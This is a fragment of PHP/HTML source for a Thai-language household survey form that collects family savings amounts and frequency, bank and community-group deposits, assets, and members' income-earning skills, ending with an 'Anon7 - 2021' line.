		<? if($_GET[famid]) {?><td><DIV id="button_item"><input type="button" name="submit" value="เพิ่มข้อมูล" ></DIV></td>
		       <? } else {?>
               <td><DIV id="button_item"><input type="button" value="เพิ่มข้อมูล" onClick="addItemNew();"></DIV>
		        <? } ?>
	  </tr>
	</table>
   
	</fieldset>
	</DIV>
	

	

	</fieldset>
	</td>
  </tr>
</table>
<table width="1148" border="0">
	  <tr>
		<td width="50%"><table width="100%" border="1" cellspacing="5" cellpadding="0">
  <tr>
    <td width="61%">2.ครอบครัวสามารถเก็บออมเงินได้
    <input type="text" name="sum_all" id="sum_all" />
    บาท ต่อ 
    <select name="time_save" id="time_save">
      <option selected="selected">เลือก</option>
      <option value="วัน">วัน</option>
      <option value="สัปดาห์">สัปดาห์</option>
      <option value="เดือน">เดือน</option>
    </select>    </td>
   
  </tr>
   <tr>
    <td><input name="type_save"  id="type_save" type="checkbox" value="มีเงินฝากกลุ่มออมทรัพย์ หรือ สหกรณ์ฯในชุมชน" />
      มีเงินฝากกลุ่มออมทรัพย์ หรือ สหกรณ์ฯในชุมชน รวม
        <input type="text" name="sum_save" id="sum_save"  size="15"/> 
      บาท</td>
    
  </tr>
   <tr>
    <td><input name="type_save_bank" id="type_save_bank" type="checkbox" value="มีเงินฝากธนาคาร" />
      มีเงินฝากธนาคาร รวม
      <input type="text" name="sum_save_bank" id="sum_save_bank"  size="15" />
      บาท</td>
   
  </tr>
   <tr>
    <td><input name="type_save_other" type="checkbox" value="เงินฝากที่อื่นๆ" />
      เงินฝากที่อื่นๆ 
      <input type="text" name="sum_save_other" id="sum_save_other" size="15" /> 
      บาท</td>
    
  </tr>
   <?php /*?><tr>
    <td>มีเงินฝากรวมทั้งหมด เป็นจำนวนเงิน   บาท</td>
    
  </tr><?php */?>
  <tr>
    <td>3.ทรัพย์สินที่มีอยู่ครอบครัวของท่านมีอะไรบ้าง <SPAN style="cursor:pointer;" onClick="addFile3()">เพิ่มข้อมูล <IMG src="../../images_sys/icon.plus.gif" border="0" width="18" height="12"></SPAN>
      <ol id="files-root3"></ol>	</td>
    
  </tr>
  <tr>
    <td>4.ความรู้ความชำนาญของสมาชิกในครอบครัวที่สามารถทำให้มีรายได้เพิ่มขึ้น มีอะไรบ้าง <SPAN style="cursor:pointer;" onClick="addFile4()">เพิ่มข้อมูล <IMG src="../../images_sys/icon.plus.gif" border="0" width="18" height="12"></SPAN>
    <ol id="files-root4"></ol>
     </td>
    
  </tr>
</table>&nbsp;</td>
		
	  </tr>
	</table>

 </BODY>
 </HTML>

Anon7 - 2021